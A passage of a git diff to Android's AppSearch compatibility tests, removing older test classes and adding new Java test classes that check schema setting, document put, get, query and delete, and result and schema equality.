-                new PutDocumentsRequest.Builder().addGenericDocument(inEmail).build()));
-
-        // Get the document
-        List<GenericDocument> outDocuments = doGet("uri1");
-        assertThat(outDocuments).hasSize(1);
-        AppSearchEmail outEmail = new AppSearchEmail(outDocuments.get(0));
-        assertThat(outEmail).isEqualTo(inEmail);
-    }
-
-    @Test
-    public void testQuery() {
-        // Schema registration
-        checkIsSuccess(mAppSearch.setSchema(
-                new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build()));
-
-        // Index a document
-        AppSearchEmail inEmail =
-                new AppSearchEmail.Builder("uri1")
-                        .setFrom("from@example.com")
-                        .setTo("to1@example.com", "to2@example.com")
-                        .setSubject("testPut example")
-                        .setBody("This is the body of the testPut email")
-                        .build();
-        checkIsSuccess(mAppSearch.putDocuments(
-                new PutDocumentsRequest.Builder().addGenericDocument(inEmail).build()));
-
-        // Query for the document
-        List<GenericDocument> results = doQuery("body");
-        assertThat(results).hasSize(1);
-        assertThat(results.get(0)).isEqualTo(inEmail);
-
-        // Multi-term query
-        results = doQuery("body email");
-        assertThat(results).hasSize(1);
-        assertThat(results.get(0)).isEqualTo(inEmail);
-    }
-
-    @Test
-    public void testQuery_TypeFilter() {
-        // Schema registration
-        AppSearchSchema genericSchema = new AppSearchSchema.Builder("Generic")
-                .addProperty(new PropertyConfig.Builder("foo")
-                        .setDataType(PropertyConfig.DATA_TYPE_STRING)
-                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
-                        .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
-                        .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
-                        .build()
-                ).build();
-        checkIsSuccess(mAppSearch.setSchema(new SetSchemaRequest.Builder()
-                .addSchema(AppSearchEmail.SCHEMA, genericSchema).build()));
-
-        // Index a document
-        AppSearchEmail inEmail =
-                new AppSearchEmail.Builder("uri1")
-                        .setFrom("from@example.com")
-                        .setTo("to1@example.com", "to2@example.com")
-                        .setSubject("testPut example")
-                        .setBody("This is the body of the testPut email")
-                        .build();
-        GenericDocument inDoc = new GenericDocument.Builder<>("uri2", "Generic")
-                .setPropertyString("foo", "body").build();
-        checkIsSuccess(mAppSearch.putDocuments(
-                new PutDocumentsRequest.Builder().addGenericDocument(inEmail, inDoc).build()));
-
-        // Query for the documents
-        List<GenericDocument> results = doQuery("body");
-        assertThat(results).hasSize(2);
-        assertThat(results).containsExactly(inEmail, inDoc);
-
-        // Query only for Document
-        results = doQuery("body", "Generic");
-        assertThat(results).hasSize(1);
-        assertThat(results).containsExactly(inDoc);
-    }
-
-    @Test
-    public void testDelete() {
-        // Schema registration
-        checkIsSuccess(mAppSearch.setSchema(
-                new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build()));
-
-        // Index documents
-        AppSearchEmail email1 =
-                new AppSearchEmail.Builder("uri1")
-                        .setFrom("from@example.com")
-                        .setTo("to1@example.com", "to2@example.com")
-                        .setSubject("testPut example")
-                        .setBody("This is the body of the testPut email")
-                        .build();
-        AppSearchEmail email2 =
-                new AppSearchEmail.Builder("uri2")
-                        .setFrom("from@example.com")
-                        .setTo("to1@example.com", "to2@example.com")
-                        .setSubject("testPut example 2")
-                        .setBody("This is the body of the testPut second email")
-                        .build();
-        checkIsSuccess(mAppSearch.putDocuments(
-                new PutDocumentsRequest.Builder().addGenericDocument(email1, email2).build()));
-
-        // Check the presence of the documents
-        assertThat(doGet("uri1")).hasSize(1);
-        assertThat(doGet("uri2")).hasSize(1);
-
-        // Delete the document
-        checkIsSuccess(mAppSearch.removeByUri(
-                new RemoveByUriRequest.Builder().addUri("uri1").build()));
-
-        // Make sure it's really gone
-        AppSearchBatchResult<String, GenericDocument> getResult = mAppSearch.getByUri(
-                new GetByUriRequest.Builder().addUri("uri1", "uri2").build());
-
-        assertThat(getResult.isSuccess()).isFalse();
-        assertThat(getResult.getFailures().get("uri1").getResultCode())
-                .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
-        assertThat(getResult.getSuccesses().get("uri2")).isEqualTo(email2);
-    }
-
-    //TODO(b/162450968) add test for deleteByType and namespace once deleteByQuery is ready.
-
-    private List<GenericDocument> doGet(String... uris) {
-        AppSearchBatchResult<String, GenericDocument> result = mAppSearch.getByUri(
-                new GetByUriRequest.Builder().addUri(uris).build());
-        checkIsSuccess(result);
-        assertThat(result.getSuccesses()).hasSize(uris.length);
-        assertThat(result.getFailures()).isEmpty();
-        List<GenericDocument> list = new ArrayList<>(uris.length);
-        for (String uri : uris) {
-            list.add(result.getSuccesses().get(uri));
-        }
-        return list;
-    }
-
-    private List<GenericDocument> doQuery(String queryExpression, String... schemaTypes) {
-        AppSearchResult<List<SearchResult>> result = mAppSearch.query(
-                queryExpression,
-                new SearchSpec.Builder()
-                        .addSchemaType(schemaTypes)
-                        .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
-                        .build());
-        checkIsSuccess(result);
-        List<SearchResult> searchResults = result.getResultValue();
-        List<GenericDocument> documents = new ArrayList<>(searchResults.size());
-        for (SearchResult searchResult : searchResults) {
-            documents.add(searchResult.getDocument());
-        }
-        return documents;
-    }
-
-    private void checkIsSuccess(AppSearchResult<?> result) {
-        if (!result.isSuccess()) {
-            throw new AssertionFailedError("AppSearchResult not successful: " + result);
-        }
-    }
-
-    private void checkIsSuccess(AppSearchBatchResult<?,?> result) {
-        if (!result.isSuccess()) {
-            throw new AssertionFailedError(
-                    "AppSearchBatchResult not successful: " + result.getFailures());
-        }
-    }
-}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/AppSearchSessionCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/AppSearchSessionCtsTest.java
new file mode 100644
index 0000000..18a0238
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/AppSearchSessionCtsTest.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.appsearch.cts;
+
+import android.app.appsearch.AppSearchManager;
+import android.app.appsearch.AppSearchSessionShim;
+
+import androidx.annotation.NonNull;
+
+import com.android.server.appsearch.testing.AppSearchSessionShimImpl;
+
+import com.google.common.util.concurrent.ListenableFuture;
+
+import java.util.concurrent.ExecutorService;
+
+public class AppSearchSessionCtsTest extends AppSearchSessionCtsTestBase {
+    @Override
+    protected ListenableFuture<AppSearchSessionShim> createSearchSession(@NonNull String dbName) {
+        return AppSearchSessionShimImpl.createSearchSession(
+                new AppSearchManager.SearchContext.Builder().setDatabaseName(dbName).build());
+    }
+
+    @Override
+    protected ListenableFuture<AppSearchSessionShim> createSearchSession(@NonNull String dbName,
+            @NonNull ExecutorService executor) {
+        return AppSearchSessionShimImpl.createSearchSession(
+                new AppSearchManager.SearchContext.Builder().setDatabaseName(dbName).build(),
+                executor);
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/AppSearchSessionTest.java b/tests/appsearch/src/com/android/cts/appsearch/AppSearchSessionTest.java
deleted file mode 100644
index 382e06f..0000000
--- a/tests/appsearch/src/com/android/cts/appsearch/AppSearchSessionTest.java
+++ /dev/null
@@ -1,103 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.appsearch;
-
-import android.app.ActivityThread;
-import android.app.appsearch.AppSearchBatchResult;
-import android.app.appsearch.AppSearchEmail;
-import android.app.appsearch.AppSearchManager;
-import android.app.appsearch.AppSearchResult;
-import android.app.appsearch.AppSearchSession;
-import android.app.appsearch.PutDocumentsRequest;
-import android.app.appsearch.SetSchemaRequest;
-import android.content.Context;
-
-import androidx.test.platform.app.InstrumentationRegistry;
-
-import junit.framework.AssertionFailedError;
-
-import org.junit.Before;
-import org.junit.Test;
-
-import java.util.Objects;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.Executor;
-
-public class AppSearchSessionTest {
-    private final Context mContext = InstrumentationRegistry.getInstrumentation().getContext();
-    private final AppSearchManager mAppSearch = mContext.getSystemService(AppSearchManager.class);
-    private final Executor mExecutor = ActivityThread.currentActivityThread().getExecutor();
-    private AppSearchSession mSearchSession;
-
-    @Before
-    public void setUp() throws Exception {
-        // Remove all documents from any instances that may have been created in the tests.
-        Objects.requireNonNull(mAppSearch);
-        AppSearchManager.SearchContext searchContext = new AppSearchManager.SearchContext.Builder()
-                .setDatabaseName("testDb").build();
-        CompletableFuture<AppSearchResult<AppSearchSession>> future = new CompletableFuture<>();
-        mAppSearch.createSearchSession(searchContext, mExecutor, future::complete);
-        AppSearchResult<AppSearchSession> result = future.get();
-        checkIsSuccess(result);
-        mSearchSession = result.getResultValue();
-
-        CompletableFuture<AppSearchResult<Void>> schemaFuture = new CompletableFuture<>();
-        mSearchSession.setSchema(
-                new SetSchemaRequest.Builder().setForceOverride(true).build(), mExecutor,
-                schemaFuture::complete);
-        checkIsSuccess(schemaFuture.get());
-    }
-
-    @Test
-    public void testGetDocuments() throws Exception {
-        // Schema registration
-        CompletableFuture<AppSearchResult<Void>> schemaFuture = new CompletableFuture<>();
-        mSearchSession.setSchema(
-                new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build(), mExecutor,
-                schemaFuture::complete);
-        checkIsSuccess(schemaFuture.get());
-
-        // Index a document
-        AppSearchEmail inEmail =
-                new AppSearchEmail.Builder("uri1")
-                        .setFrom("from@example.com")
-                        .setTo("to1@example.com", "to2@example.com")
-                        .setSubject("testPut example")
-                        .setBody("This is the body of the testPut email")
-                        .build();
-
-        CompletableFuture<AppSearchBatchResult<String, Void>> putDocumentsFuture =
-                new CompletableFuture<>();
-        mSearchSession.putDocuments(
-                new PutDocumentsRequest.Builder().addGenericDocument(inEmail).build(),
-                mExecutor, putDocumentsFuture::complete);
-        checkIsSuccess(putDocumentsFuture.get());
-    }
-
-    private void checkIsSuccess(AppSearchResult<?> result) {
-        if (!result.isSuccess()) {
-            throw new AssertionFailedError("AppSearchResult not successful: " + result);
-        }
-    }
-
-    private void checkIsSuccess(AppSearchBatchResult<?,?> result) {
-        if (!result.isSuccess()) {
-            throw new AssertionFailedError(
-                    "AppSearchBatchResult not successful: " + result.getFailures());
-        }
-    }
-}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/GlobalSearchSessionCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/GlobalSearchSessionCtsTest.java
new file mode 100644
index 0000000..ff50832
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/GlobalSearchSessionCtsTest.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.appsearch.cts;
+
+import android.app.appsearch.AppSearchManager;
+import android.app.appsearch.AppSearchSessionShim;
+import android.app.appsearch.GlobalSearchSessionShim;
+
+import androidx.annotation.NonNull;
+
+import com.android.server.appsearch.testing.AppSearchSessionShimImpl;
+import com.android.server.appsearch.testing.GlobalSearchSessionShimImpl;
+
+import com.google.common.util.concurrent.ListenableFuture;
+
+public class GlobalSearchSessionCtsTest extends GlobalSearchSessionCtsTestBase {
+    @Override
+    protected ListenableFuture<AppSearchSessionShim> createSearchSession(@NonNull String dbName) {
+        return AppSearchSessionShimImpl.createSearchSession(
+                new AppSearchManager.SearchContext.Builder().setDatabaseName(dbName).build());
+    }
+
+    @Override
+    protected ListenableFuture<GlobalSearchSessionShim> createGlobalSearchSession() {
+        return GlobalSearchSessionShimImpl.createGlobalSearchSession();
+    }
+}
\ No newline at end of file
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchResultCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchResultCtsTest.java
new file mode 100644
index 0000000..9c34b17
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchResultCtsTest.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.appsearch.AppSearchResult;
+
+import org.junit.Test;
+
+public class AppSearchResultCtsTest {
+
+    @Test
+    public void testResultEquals_identical() {
+        AppSearchResult<String> result1 = AppSearchResult.newSuccessfulResult("String");
+        AppSearchResult<String> result2 = AppSearchResult.newSuccessfulResult("String");
+
+        assertThat(result1).isEqualTo(result2);
+        assertThat(result1.hashCode()).isEqualTo(result2.hashCode());
+
+        AppSearchResult<String> result3 =
+                AppSearchResult.newFailedResult(
+                        AppSearchResult.RESULT_INTERNAL_ERROR, "errorMessage");
+        AppSearchResult<String> result4 =
+                AppSearchResult.newFailedResult(
+                        AppSearchResult.RESULT_INTERNAL_ERROR, "errorMessage");
+
+        assertThat(result3).isEqualTo(result4);
+        assertThat(result3.hashCode()).isEqualTo(result4.hashCode());
+    }
+
+    @Test
+    public void testResultEquals_failure() {
+        AppSearchResult<String> result1 = AppSearchResult.newSuccessfulResult("String");
+        AppSearchResult<String> result2 = AppSearchResult.newSuccessfulResult("Wrong");
+        AppSearchResult<String> resultNull = AppSearchResult.newSuccessfulResult(/*value=*/ null);
+
+        assertThat(result1).isNotEqualTo(result2);
+        assertThat(result1.hashCode()).isNotEqualTo(result2.hashCode());
+        assertThat(result1).isNotEqualTo(resultNull);
+        assertThat(result1.hashCode()).isNotEqualTo(resultNull.hashCode());
+
+        AppSearchResult<String> result3 =
+                AppSearchResult.newFailedResult(
+                        AppSearchResult.RESULT_INTERNAL_ERROR, "errorMessage");
+        AppSearchResult<String> result4 =
+                AppSearchResult.newFailedResult(AppSearchResult.RESULT_IO_ERROR, "errorMessage");
+
+        assertThat(result3).isNotEqualTo(result4);
+        assertThat(result3.hashCode()).isNotEqualTo(result4.hashCode());
+
+        AppSearchResult<String> result5 =
+                AppSearchResult.newFailedResult(AppSearchResult.RESULT_INTERNAL_ERROR, "Wrong");
+
+        assertThat(result3).isNotEqualTo(result5);
+        assertThat(result3.hashCode()).isNotEqualTo(result5.hashCode());
+
+        AppSearchResult<String> result6 =
+                AppSearchResult.newFailedResult(
+                        AppSearchResult.RESULT_INTERNAL_ERROR, /*errorMessage=*/ null);
+
+        assertThat(result3).isNotEqualTo(result6);
+        assertThat(result3.hashCode()).isNotEqualTo(result6.hashCode());
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSchemaCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSchemaCtsTest.java
new file mode 100644
index 0000000..7072a81
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSchemaCtsTest.java
@@ -0,0 +1,202 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.expectThrows;
+
+import android.app.appsearch.AppSearchSchema;
+import android.app.appsearch.AppSearchSchema.PropertyConfig;
+import android.app.appsearch.exceptions.IllegalSchemaException;
+
+import org.junit.Test;
+
+public class AppSearchSchemaCtsTest {
+    @Test
+    public void testInvalidEnums() {
+        PropertyConfig.Builder builder = new PropertyConfig.Builder("test");
+        expectThrows(IllegalArgumentException.class, () -> builder.setDataType(99));
+        expectThrows(IllegalArgumentException.class, () -> builder.setCardinality(99));
+    }
+
+    @Test
+    public void testMissingFields() {
+        PropertyConfig.Builder builder = new PropertyConfig.Builder("test");
+        IllegalSchemaException e = expectThrows(IllegalSchemaException.class, builder::build);
+        assertThat(e).hasMessageThat().contains("Missing field: dataType");
+
+        builder.setDataType(PropertyConfig.DATA_TYPE_DOCUMENT);
+        e = expectThrows(IllegalSchemaException.class, builder::build);
+        assertThat(e).hasMessageThat().contains("Missing field: schemaType");
+
+        builder.setSchemaType("TestType");
+        e = expectThrows(IllegalSchemaException.class, builder::build);
+        assertThat(e).hasMessageThat().contains("Missing field: cardinality");
+
+        builder.setCardinality(PropertyConfig.CARDINALITY_REPEATED);
+        builder.build();
+    }
+
+    @Test
+    public void testDuplicateProperties() {
+        AppSearchSchema.Builder builder =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new PropertyConfig.Builder("subject")
+                                        .setDataType(PropertyConfig.DATA_TYPE_STRING)
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build());
+        IllegalSchemaException e =
+                expectThrows(
+                        IllegalSchemaException.class,
+                        () ->
+                                builder.addProperty(
+                                        new PropertyConfig.Builder("subject")
+                                                .setDataType(PropertyConfig.DATA_TYPE_STRING)
+                                                .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                                .setIndexingType(
+                                                        PropertyConfig.INDEXING_TYPE_PREFIXES)
+                                                .setTokenizerType(
+                                                        PropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                                .build()));
+        assertThat(e).hasMessageThat().contains("Property defined more than once: subject");
+    }
+
+    @Test
+    public void testEquals_identical() {
+        AppSearchSchema schema1 =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new PropertyConfig.Builder("subject")
+                                        .setDataType(PropertyConfig.DATA_TYPE_STRING)
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        AppSearchSchema schema2 =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new PropertyConfig.Builder("subject")
+                                        .setDataType(PropertyConfig.DATA_TYPE_STRING)
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        assertThat(schema1).isEqualTo(schema2);
+        assertThat(schema1.hashCode()).isEqualTo(schema2.hashCode());
+    }
+
+    @Test
+    public void testEquals_differentOrder() {
+        AppSearchSchema schema1 =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new PropertyConfig.Builder("subject")
+                                        .setDataType(PropertyConfig.DATA_TYPE_STRING)
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        AppSearchSchema schema2 =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new PropertyConfig.Builder("subject")
+                                        .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setDataType(PropertyConfig.DATA_TYPE_STRING)
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .build())
+                        .build();
+        assertThat(schema1).isEqualTo(schema2);
+        assertThat(schema1.hashCode()).isEqualTo(schema2.hashCode());
+    }
+
+    @Test
+    public void testEquals_failure() {
+        AppSearchSchema schema1 =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new PropertyConfig.Builder("subject")
+                                        .setDataType(PropertyConfig.DATA_TYPE_STRING)
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        AppSearchSchema schema2 =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new PropertyConfig.Builder("subject")
+                                        .setDataType(PropertyConfig.DATA_TYPE_STRING)
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                PropertyConfig
+                                                        .INDEXING_TYPE_EXACT_TERMS) // Different
+                                        .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        assertThat(schema1).isNotEqualTo(schema2);
+        assertThat(schema1.hashCode()).isNotEqualTo(schema2.hashCode());
+    }
+
+    @Test
+    public void testEquals_failure_differentOrder() {
+        AppSearchSchema schema1 =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new PropertyConfig.Builder("subject")
+                                        .setDataType(PropertyConfig.DATA_TYPE_STRING)
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .addProperty(
+                                new PropertyConfig.Builder("body")
+                                        .setDataType(PropertyConfig.DATA_TYPE_STRING)
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        // Order of 'body' and 'subject' has been switched
+        AppSearchSchema schema2 =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new PropertyConfig.Builder("body")
+                                        .setDataType(PropertyConfig.DATA_TYPE_STRING)
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .addProperty(
+                                new PropertyConfig.Builder("subject")
+                                        .setDataType(PropertyConfig.DATA_TYPE_STRING)
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        assertThat(schema1).isNotEqualTo(schema2);
+        assertThat(schema1.hashCode()).isNotEqualTo(schema2.hashCode());
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSessionCtsTestBase.java b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSessionCtsTestBase.java
new file mode 100644
index 0000000..c8621b4
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSessionCtsTestBase.java
@@ -0,0 +1,1812 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.android.server.appsearch.testing.AppSearchTestUtils.checkIsBatchResultSuccess;
+import static com.android.server.appsearch.testing.AppSearchTestUtils.convertSearchResultsToDocuments;
+import static com.android.server.appsearch.testing.AppSearchTestUtils.doGet;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.expectThrows;
+
+import android.annotation.NonNull;
+import android.app.appsearch.AppSearchBatchResult;
+import android.app.appsearch.AppSearchEmail;
+import android.app.appsearch.AppSearchManager;
+import android.app.appsearch.AppSearchResult;
+import android.app.appsearch.AppSearchSchema;
+import android.app.appsearch.AppSearchSchema.PropertyConfig;
+import android.app.appsearch.AppSearchSessionShim;
+import android.app.appsearch.GenericDocument;
+import android.app.appsearch.GetByUriRequest;
+import android.app.appsearch.PutDocumentsRequest;
+import android.app.appsearch.RemoveByUriRequest;
+import android.app.appsearch.SearchResult;
+import android.app.appsearch.SearchResultsShim;
+import android.app.appsearch.SearchSpec;
+import android.app.appsearch.SetSchemaRequest;
+import android.app.appsearch.exceptions.AppSearchException;
+import android.content.Context;
+
+import androidx.test.core.app.ApplicationProvider;
+
+import com.google.common.util.concurrent.ListenableFuture;
+import com.google.common.util.concurrent.MoreExecutors;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.ExecutorService;
+
+public abstract class AppSearchSessionCtsTestBase {
+    private AppSearchSessionShim mDb1;
+    private static final String DB_NAME_1 = AppSearchManager.DEFAULT_DATABASE_NAME;
+    private AppSearchSessionShim mDb2;
+    private static final String DB_NAME_2 = "testDb2";
+
+    protected abstract ListenableFuture<AppSearchSessionShim> createSearchSession(
+            @NonNull String dbName);
+
+    protected abstract ListenableFuture<AppSearchSessionShim> createSearchSession(
+            @NonNull String dbName, @NonNull ExecutorService executor);
+
+    @Before
+    public void setUp() throws Exception {
+        Context context = ApplicationProvider.getApplicationContext();
+
+        mDb1 = createSearchSession(DB_NAME_1).get();
+        mDb2 = createSearchSession(DB_NAME_2).get();
+
+        // Cleanup whatever documents may still exist in these databases. This is needed in
+        // addition to tearDown in case a test exited without completing properly.
+        cleanup();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // Cleanup whatever documents may still exist in these databases.
+        cleanup();
+    }
+
+    private void cleanup() throws Exception {
+        mDb1.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+        mDb2.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+    }
+
+    @Test
+    public void testSetSchema() throws Exception {
+        AppSearchSchema emailSchema =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new AppSearchSchema.PropertyConfig.Builder("subject")
+                                        .setDataType(PropertyConfig.DATA_TYPE_STRING)
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .addProperty(
+                                new AppSearchSchema.PropertyConfig.Builder("body")
+                                        .setDataType(PropertyConfig.DATA_TYPE_STRING)
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(emailSchema).build()).get();
+    }
+
+    @Test
+    public void testPutDocuments() throws Exception {
+        // Schema registration
+        mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+                .get();
+
+        // Index a document
+        AppSearchEmail email =
+                new AppSearchEmail.Builder("uri1")
+                        .setFrom("from@example.com")
+                        .setTo("to1@example.com", "to2@example.com")
+                        .setSubject("testPut example")
+                        .setBody("This is the body of the testPut email")
+                        .build();
+
+        AppSearchBatchResult<String, Void> result =
+                checkIsBatchResultSuccess(
+                        mDb1.putDocuments(
+                                new PutDocumentsRequest.Builder()
+                                        .addGenericDocument(email)
+                                        .build()));
+        assertThat(result.getSuccesses()).containsExactly("uri1", null);
+        assertThat(result.getFailures()).isEmpty();
+    }
+
+    @Test
+    public void testUpdateSchema() throws Exception {
+        // Schema registration
+        AppSearchSchema oldEmailSchema =
+                new AppSearchSchema.Builder(AppSearchEmail.SCHEMA_TYPE)
+                        .addProperty(
